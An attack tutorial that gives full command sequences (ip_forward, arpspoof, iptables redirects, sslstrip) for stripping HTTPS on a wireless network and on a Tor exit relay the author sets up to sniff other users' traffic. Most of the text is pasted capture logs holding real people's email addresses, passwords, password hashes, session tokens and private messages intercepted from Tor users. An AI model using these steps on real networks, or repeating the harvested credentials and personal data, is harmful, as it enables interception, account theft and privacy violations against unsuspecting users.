Juan J. Fernandez

SSL and HTTP Exposed

SSL and HTTP Exposed

Secure Socket Layer is not secured as we might think. At least, throughout http and https.

Vulnerabilities are presented through the exchange of data across http → https and http ← https . These are exploited using https stripping attacks, transparently hijacking http traffic on a network, watching for https links and redirects to map those links into look-alike http links.

SSLSTRIP tool do just exactly that and can be deployed through man in the middle attack on a wireless network using iptables, arpspoof. It can also be deployed on the Tor Network if you configure your computer as a relay exit node in port 80.

REQUIREMENT

I assume you are using a GNU/LINUX OS or Mac OSX

SSLSTRIP: main tool for our stripping attack

IPTABLE : to match our target traffic and redirect it to sslstrip

ARPSPOOF: used in wireless network to make our computer look like router

Tor as relay: to apply the concept once we enter another network

Wireless https striping attack

As root, type in the terminal: **echo “1” > /proc/sus/net/ipv4/ip_forward** and **arpspoof -i <interface Ex: wlan0> <langatewayip ex: 192.168.1.1>** . This will let or authorize your linux box to forward the packet and perform and arp injection to let every computer knows that your mac adress is the mac adress of the router, those forwarding all those packets to you.

Now, open up another terminal as root and type **iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080** This will set the filtering rule(firewall) as “alter packets as soon as they come destinated to port 80 redirecting them to port 8080”

Now, on the same terminal as root, type **sslstrip -l 8080 -w sslstrip.log** and on another terminal type **tail -f sslstrip.log** . At this point, sslstrip will do the job and neither the server nor the client knows that you are hijacking http and watching for https links to redirect and map those links into similar http links or homograph-similar https links. The tail command is to watch the log file as it increases.

Tor network https stripping attack

A wireless network is like any other network. Why not apply that to another network like Tor Network ? It just requires minor modification to iptable command and the elimination of arpspoof use and of course, set up Tor as relay.

Set up Tor relay

Tor is a network of relay, when a user uses tor, he or she pass along about three computers(relays) before they get to the final destination. I will show you how to be the exit node(last relay)

We will be creating another account to apply the redirection for that uid (user id and not us) that will prevent the disconnection... Open up a terminal as root and type **useradd toruser -u 111 -m** and **passwd toruser** (use the password you like). Then logout from your account and login to toruser. Install Tor http://www.torproject.org/docs/tor-doc-unix.html.en

For the purpose of this presentation, download the Tor Browser Bundle for GNU/Linux on http://www.torproject.org/download/download.html.en extract it **tar xvfz file.tar.gz** and **cd to filedirectory** run vidalia in filedirectory/App.

Once it start running click setup relay and configure exit node to port 80 only. Make sure your router forward port 80, 9051, 9001 and 9030 to your local ip if you are behind the router's firewall. Once you test it and verify that it is reacheble form the outside by running it again, logout from toruser account and login back to your original account.

Now the fun part starts...

Sniff out that Tor network !!!

Open a terminal and type **su toruser** and type the assined password.This is an important step to run the relay: Cd to tor-browser_en-US (in my case) file directory inside toruser account and

run tor **./App/tor -f /home/toruser/tor-browser_en-US/Data/Tor/torrc**

Now that everything is running, reachable from outside,

open up another terminal and as root type: **iptables -t nat -I OUTPUT -p tcp -m owner --uid-owner 111 --dport 80 -j DNAT --to-destination 127.0.0.1:8080** Everything that comes from toruser will be redirected to localport 8080. DNAT means that match if the original destination differs from the reply source. This make sense when the OUTPUT match.(these are iptables details that worth to know to see what is really happening...)

Now type **sslstrip -l 8080 -w logfile** and on another terminal to watch the file as it grows, **tail -f logfile** . Let it run couple of hours and days and you will see accounts, md5 hash, email messages, hosting accounts and more.

Next page is just a small part of what I recollected from Tor Network.

File Edit View Terminal Go Help

contact puerto dot ghost dot rico at gmail dot com
contact puerto dot ghost dot rico at gmail dot com
s=&securitytoken=1295381799-32e1b5786a1bea141a5ef62436cfda63e53f2090&do=updatepassword&currentpassword_md5=a98f4f6cdbd5587338b7eebe9e2b49fb&newpassword_md5=e8d525fc54803c2085eaa584b71b8805&newpasswordconfirm_md5=e8d525fc54803c2085eaa584b71b8805&currentpassword=&newpassword=&newpasswordconfirm=&email=cimi.luca%40gmail.com&emailconfirm=cimi.luca%40gmail.com

MD5 hash
clear passwords, gmail

Also recollected spam messages(bellow on the screen)

SSLSTRIP APPLIED TO my Tor exit relay on port 80

Tor Network is safe to hide your ip header, but not to hide what you enter in TOR tcp data throughout relays.

email=confirmation911%2Bvernice.patak%40gmail.com&password=eY1FuX1y&Login=Login
from_name=your+stalker&list_email=karen%3Bkarenrichter13%40yahoo.com%0D%0A&sender_name=your+stalker&count_field=1&step=tell_friends&message=Dear+%22none%22%2C%0D%0AThis+is+hard+for+me+because+I+have+never+done+anything+like+this..+%0Abut+I+have+a+gigantic+crush+on+you.+I+have+never+been+able+to+tell+you+%0Afor+reasons+which+you+would+instantly+identify+as+obvious+if+you+%0Aknew+who+this+was.+%0D%0A%0ATo+aid+you+out+with+your+guessing+I+made+a+few+pictures+%0Aand+clips+with+%22none%22+written+on+my+body.+They%27re+kind+of+%0Aspicy+pictures+so+I+had+to+make+a+profile+at+http%3A%2F%2Fdoiop.com%2Fb4f7dl+and+post+%0Athem+there.+My+screename+in+the+members+area+is+%22LoverandME09%22%0D%0A%0ABut+anyway+sign+up+at+http%3A%2F%2Fdoiop.com%2Fb4f7dl+and+once+you+are+%0Ainside+search+for+%22LoverandME09%22.+%0AI+want+you+to+guess+who+I+am+and+then+approach+me+%0Ayourself.+I%27m+shy+and+this+is+the+most+brave+thing+I%27ve+%0Aprobably+ever+done%2C+but+you+need+to+do+%0Athe+rest.%0D%0A%0AKisses%2C+%0AAnd+Hugs%21+Bye%0D%0A&list_friend_name_1=karen&lang=english_lang.php&what=send_to_friends&re_num=1&from_email=Thelma546%40gmail.com&total_recipient_num=1&list_friend_email_1=karenrichter13%40yahoo.com&sender_email=Thelma546%40gmail.com
join_mailinglist=0&to_email%5B0%5D=cumberland801%40sbcglobal.net&from=secret+lover&bgcolor=%23FFFFFF&to%5B0%5D=tiffany&image=tn_001_1lg.jpg&des=card&year=2011&img_width=373&send=1&from_email=Brandi15%40gmail.com&caption=A+message+from+your+secret+admirer&img_height=450&template=message&send_time=1295408587&fontcolor=%23000000&message=Dear+tiffany%2C%0D%0AThis+is+difficult+for+me+because+I+have+never+attempted+anything+like+this..+%0Abut+I+have+a+gigantic+crush+on+you.+I+have+never+been+able+to+tell+you+%0Afor+reasons+which+you+would+instantly+realize+as+obvious+if+you+%0Aknew+who+this+was.+%0D%0A%0ATo+aid+you+out+with+your+guessing+I+made+a+few+pictures+%0Aand+clips+with+tiffany+written+on+me.+They+are+kind+of+%0Arisque+photos+so+I+had+to+make+a+profile+at+%3Chttp%3A%2F%2Fgo9.us%2Fd29%3E+and+post+%0Athem+there.+My+username+in+the+members+area+is+loverandme19%0D%0A%0ABut+anyway+sign+up+at+%3Chttp%3A%2F%2Fgo9.us%2Fd29%3E+and+once+you+are+%0Ainside+search+for+loverandme19.+%0AI+want+you+to+guess+who+I+am+and+then+approach+me+%0Ayourself.+I%27m+shy+and+this+is+the+most+brave+thing+I+have+%0Aprobably+ever+done%2C+but+you+need+to+do+%0Athe+rest.%0D%0A%0AKisses%2C+%0Ahaha.+Bye%0D%0A&month=01&sc_language=en&day=19&previewed=1
join_mailinglist=0&to_email%5B0%5D=joycebabyphat%40yahoo.com&from=secret+crush&bgcolor=%23FFFFFF&to%5B0%5D=JOYCE&image=syawal_01.jpg&des=card&year=2011&img_width=506&send=1&from_email=Lauren1912%40gmail.com&caption=A+message+from+your+secret+admirer&img_height=388&template=message&send_time=1295408594&fontcolor=%23000000&message=Dear+JOYCE%2C%0D%0AThis+is+hard+for+me+because+I+have+never+attempted+anything+like+this..+%0Abut+I+have+a+gigantic+crush+on+you.+I+have+never+been+able+to+tell+you+%0Afor+reasons+which+you+would+instantly+realize+as+obvious+if+you+%0Aknew+who+this+was.+%0D%0A%0ATo+aid+you+out+with+your+guessing+I+made+a+few+photos+%0Aand+clips+with+JOYCE+written+on+my+body.+They+are+kind+of+%0Aspicy+pictures+so+I+had+to+make+a+profile+at+%3Chttp%3A%2F%2Fdoiop.com%2Fb4f7dl%3E+and+post+%0Athem+there.+My+username+in+the+members+area+is+loverandme19%0D%0A%0ABut+anyway+sign+up+at+%3Chttp%3A%2F%2Fdoiop.com%2Fb4f7dl%3E+and+once+you+are+%0Ainside+search+for+loverandme19.+%0AI+want+you+to+guess+who+I+am+and+then+approach+me+%0Ayourself.+I%27m+shy+and+this+is+the+bravest+thing+I+have+%0Aprobably+ever+done%2C+but+you+need+to+do+%0Athe+rest.%0D%0A%0AKisses%2C+%0AAnd+Hugs%21+Bye%0D%0A&month=01&sc_language=en&day=19&previewed=1
bash-4.1$

File Edit View Terminal Go Help

Untitled | Untitled

A%C7%B3%F6%D3%DA%C3%D7%D4%AA%D5%C2%D6%AE%CA%D6%A1%A3+%3Cbr%2F%3E%BB%B9%D3%D0%A3%AC%CB%AE%BE%A7%BC%B4%CA%AF%D3%A2%BE%A7%CC%E5%A3%AC%CB%FC%B5%C4%D3%B2%B6%C8%B7%C7%B3%A3%B8%DF%A3%AC%BD%F6%B4%CE%D3%DA%D7%EA%CA%AF%A3%A8%BC%B4%BD%F0%B8%D6%CA%AF%A3%A9%BA%CD%B8%D5%D3%F1%A3%AC%D3%C3%CD%AD%A1%A2%CC%FA%BB%F2%CA%AF%D6%C6%B9%A4%BE%DF%A3%AC%B6%BC%CE%DE%B7%A8%BC%D3%B9%A4%CB%FC%A1%A3%BC%B4%CA%B9%CA%C7%CF%D6%B4%FA%C8%CB%A3%AC%D2%AA%B5%F1%D7%C1%D5%E2%D1%F9%B5%C4%CB%AE%BE%A7%D6%C6%C6%B7%A3%AC%D2%B2%D6%BB%C4%DC%CA%B9%D3%C3%BD%F0%B8%D6%CA%AF%B5%C8%CF%D6%B4%FA%B9%A4%BE%DF%A1%A3%BE%AD%D1%D0%BE%BF%D6%A4%CA%B5%A3%AC%B4%CB%CB%AE%BE%A7%CD%B7%C2%AD%B9%C7%CA%C7%C0%FB%D3%C3%C4%B3%D6%D6%C5%F6%D7%B2%C1%A6%C1%BF%B5%F1%BF%CC%B3%C9%B5%C4%A3%AC%B5%AB%CF%D6%D4%DA%BF%C6%BC%BC%C8%D4%CE%B4%D5%C6%CE%D5%B4%CB%BC%BC%CA%F5%A1%A3&sign=%B2%BB%CA%B9%D3%C3&send.x=34&send.y=15&send=%B7%A2%CB%CD&interval=&repeat=&year=&month=&day=&hour=&interval=&repeat=
2011-01-18 17:31:24,856 POST Data (bjapp4.mail.tom.com):
--Ivd0Xh28PhktE66cwXHPPVC_AsJDiasAL
Content-Disposition: form-data; name="sid"

OAizdNNwkIrAMzbR
--Ivd0Xh28PhktE66cwXHPPVC_AsJDiasAL
Content-Disposition: form-data; name="mid"

1295389834%0A0%0A0%0A4294967295
--Ivd0Xh28PhktE66cwXHPPVC_AsJDiasAL
Content-Disposition: form-data; name="attachfile"; filename=""
Content-Type: application/octet-stream

--Ivd0Xh28PhktE66cwXHPPVC_AsJDiasAL
Content-Disposition: form-data; name="finish.x"

42
--Ivd0Xh28PhktE66cwXHPPVC_AsJDiasAL
Content-Disposition: form-data; name="finish.y"

12
--Ivd0Xh28PhktE66cwXHPPVC_AsJDiasAL
Content-Disposition: form-data; name="finish"

Íê³É
--Ivd0Xh28PhktE66cwXHPPVC_AsJDiasAL--

2011-01-18 17:31:50,469 POST Data (bjapp4.mail.tom.com):
attachment=%B8%BD%BC%FE%D7%DC%C1%BF%3A10.60K%D7%D6%BD%DA%2F14.60K%D7%D6%BD%DA+hwmkte.zip%2810.60K%D7%D6%BD%DA%2F14.60K%D7%D6%BD%DA%29&mid=1295389834%250A0%250A0%250A2147483647&postid=12635484751295389696&rpdomain=tom.com&funcid=compose&sid=OAizdNNwkIrAMzbR&to=45901093%40qq.com%2C652012621%40qq.com&cc=&bcc=&subject=%CE%E2%B3%FE%B6%AB%C4%CF%DB%E5%A3%AC%C7%AC%28%3F%29%C0%A4%C8%D5%D2%B9%B8%A1%A1%A3&priority=3&attachment=%B8%BD%BC%FE%D7%DC%C1%BF%3A10.60K%D7%D6%BD%DA%2F14.60K%D7%D6%BD%DA+hwmkte.zip%2810.60K%D7%D6%BD%DA%2F14.60K%D7%D6%BD%DA%29&chkHtmlMessage=n&interval=&repeat=&text=%B9%E9%D5%FD%0D%0A%0D%0A%BE%B4%D6%D8%B4%F3%2F%B7%A8%BD%E1%C9%C6%D4%B5%A3%AC%0D%0A%B8%E6%D6%AA%D6%DA%C9%FA%C4%AA%B3%D9%D1%D3%A1%A3%0D%0A%C9%C6%B6%F1%B1%D8%B1%A8%C4%CB%CC%EC%C0%ED%A3%AC%0D%0A%C8%CB%D0%C4%B9%E9%D5%FD%B8%A3%CA%D9%C8%AB%A1%A3%0D%0A%A1%A1%A1%A1%0D%0A%B9%FA%C4%DA%B2%BB%B1%A8%B5%C4%D7%CA%C1%CF%3A+http%3A%2F%2Fsnipr.com%2F1o1q9w%0D%0A&sign=%B2%BB%CA%B9%D3%C3&send.x=34&send.y=15&send=%B7%A2%CB%CD&interval=&repeat=&year=&month=&day=&hour=&interval=&repeat=
2011-01-18 18:37:03,088 SECURE POST Data (mlogin.yahoo.com):
_authurl=auth&_done=widget%3Aygo-mail%2Fhome.bp&_sig=&_src=&_ts=1295393814&_crumb=nJ4nmg0uzck2dAS.nPIFvA--&_pc=&_send_userhash=0&_appdata=&_partner_ts=&_is_ysid=0&_page=secure&_next=nonssl&id=sexxysweetheart852@yahoo.com&password=j[illegible]z&__submit=Sign+In

File Edit View Terminal Go Help

Untitled | Untitled

```
storage+and+transportation%2C+pay+attention+to+heatproof+and+moisture+proof.+The+powdery.+Product+will+be+damped+to+be+caked+and+will+be+poor+in+solubility+if+exposu
re+to+air+for+long+time.%26nbsp%3B%3Cbr%3EThe+stacking+layers+shouldn%27t+be+more+than+20+layers.+Shelf+life+is+two+years%3C%2Fp%3E%3Cp+align%3D%22left%22%3E%3Cbr%3E
Compared+with+other+coagulants%2C+this+product+possesses+the+following+advantages.%3C%2Fp%3E%3Cp+align%3D%22left%22%3E1.+Wider+application%2C+better+water+adaptation
.%26nbsp%3B%3Cbr%3E2.+Quickly+shape+big+alum+bubble%2C+and+with+good+                                                                                .ttle+declinin
g+range+of+PH+value+and+alkalinity+of+water+after+treatment.%26nbsp%3                                                                              %3B%3Cbr%3E5.+
Higher+alkalization+than+other+aluminium+salt+and+iron+salt%2C+and+li                                                                              26nbsp%3B%3Cbr
%3E1.+Its+dosage+lower+than+aluminum+sulfate+%28based+on+Al2O3%29+and                                                                              %3Cbr%3E2.+The
+product+can+cause+quick+formation+of+flocs%2C+big+flocs+formation+an                                                                              flocculants.%2
6nbsp%3B%3Cbr%3E%3Cbr%3E3.+It+enjoys+wide-range+adaptability+for+diff                                                                              t+is+slightly
+corrosive+and+easy+for+operation.%26nbsp%3B%3Cbr%3E%3Cbr%3E5.+The+li                                                                              es+over+long-
time+Usage.%26nbsp%3B%3Cbr%3E%3Cbr%3E%3Cbr%3EAPPLICATION+METHODS%26nb                                                                              s+for+the+sol
id+product%2C+dilution+is+necessary+before+being+dosed.+Water+amount+                                                                              d+the+quality
+of+water+to+be+treated.+Dilution+proportion+for+solid+product+is+2%2                                                                              nbsp%3B%3Cbr%
3E%3Cbr%3E2.+The+dosage+of+the+liquid+product+is+3-40g%2FMT+and+the+d                                                                              ulation+test+
and+on+the+trial.%26nbsp%3B%3Cbr%3E%3Cbr%3E3.+Its+acidity+is+lower+th                                                                              %3B%3Cbr%3E1.+
The+solid+product+is+packaged+in+25kg+polypropylene+woven+bags+with+i                                                                              r+one+year+wi
thout+losing+its+effect%2C+while+the+solid+product%2C+for+two+years.+                                                                              ot+be+affecte
d+even+if+it+gets+wet.%3C%2Fp%3E%3Cp%3EUsage%3A+Water-treatment+Indus                                                                              %3E%3Cp%3E%26
nbsp%3B%3C%2Fp%3E%0A%0A%3Cdescription_307537178%2F%3E%0A%0A%3Csummary                                                                              %2F%3E2%29.+Ma
nufacter+offers+the+best+price%2C%3Cbr%2F%3E3%29.+CE+and+EN71+are+ava                                                                              bouncing+ball
%3C%2Fp%3E%3Cp%3E%26nbsp%3B%3C%2Fp%3E%3Cp%3E%3Cstrong%3E%3Cspan+style                                                                              -bouncing+ball
+with+novel+design%2C+advanced+technology+and+competitive+prices%3C%2                                                                              Abouncing+bal
l%2C+high+bouncing+ball%3C%2Fp%3E%3Cp%3E%26nbsp%3B%3C%2Fp%3E%3Cp%3E2.                                                                              %3C%2Fp%3E%3C
p%3E%26nbsp%3B%3C%2Fp%3E%3Cp%3E3.Diameter%3A22mm%2C27mm%2C30mm%2C32mm                                                                              %3C%2Fp%3E%3Cp
%3E%26nbsp%3B%3C%2Fp%3E%3Cp%3E4.Color%3Aall+colors+of+bouncing+ball+a                                                                              %3C%2Fp%3E%3C
p%3E%26nbsp%3B%3C%2Fp%3E%3Cp%3E6.Production+time%3A+2-4+weeks%3C%2Fp%                                                                              p%3B%3C%2Fp%3
E%3Cp%3E%3Cimg+src%3D%22http%3A%2F%2Fi01.i.aliimg.com%2Fimg%2Fimagere                                                                              %22+width%3D%2
2574%22+height%3D%22598%22%3E%3C%2Fp%3E%3Cp%3E%26nbsp%3B%3C%2Fp%3E%3C                                                                              %3E%26nbsp%3B%
3C%2Fp%3E%0A%0A%3Cdescription_346724378%2F%3E%0A%0A
2011-01-18 14:54:15,938 SECURE POST Data (mlogin.yahoo.com):
_authurl=auth&_done=widget%3Aygo-mail%2Fhome.bp&_sig=&_src=&_ts=1295380454&_crumb=OrmQYxUBRVGwLS1WhXCrxA--&_pc=&_send_userhash=0&_appdata=&_partner_ts=&_is_ysid=0&_p
age=secure&_next=nonssl&id=xxLauraOwensxx612@yahoo.com&password=l[illegible]q&__submit=Sign+In
2011-01-18 14:54:23,363 POST Data (38.229.70.8):
[illegible]@g[illegible]ú        [illegible]ÚØ[illegible]® ³@
                          )ar×[illegible]&>{
2011-01-18 14:58:41,257 POST Data (uk.mg6.mail.yahoo.com):
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:xsd="http://www.w3.org/1999
/XMLSchema" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:DeleteMessages xmlns:m="urn:yahoo:ymws"><fid>%40B%40Bulk</fid><mid>1
_10644_23075_AHfSi2IAADKLTTWreAFoDmyDkls</mid><mid>1_8163_23063_AHLSi2IAAOsTTTUDyQCoDT+bJSM</mid><mid>1_7453_23062_AHHSi2IAAEGjTTT/AAFfS2rW+Ls</mid></m:DeleteMessage
s></SOAP-ENV:Body></SOAP-ENV:Envelope>
2011-01-18 15:00:37,394 POST Data (safebrowsing.clients.google.com):
goog-malware-shavar;a:25865-31256:s:38311-43921:mac
goog-phish-shavar;a:122287-129445:s:64700-66720:mac
```

References

- DEFCON 17 http://www.youtube.com/watch?v=ibF36Yyeehw
- SSLSTRIP http://www.thoughtcrime.org/software/sslstrip/
- Tor http://www.torproject.org/docs/documentation.html.en
- IPTABLES http://linux.die.net/man/8/iptables

Thank You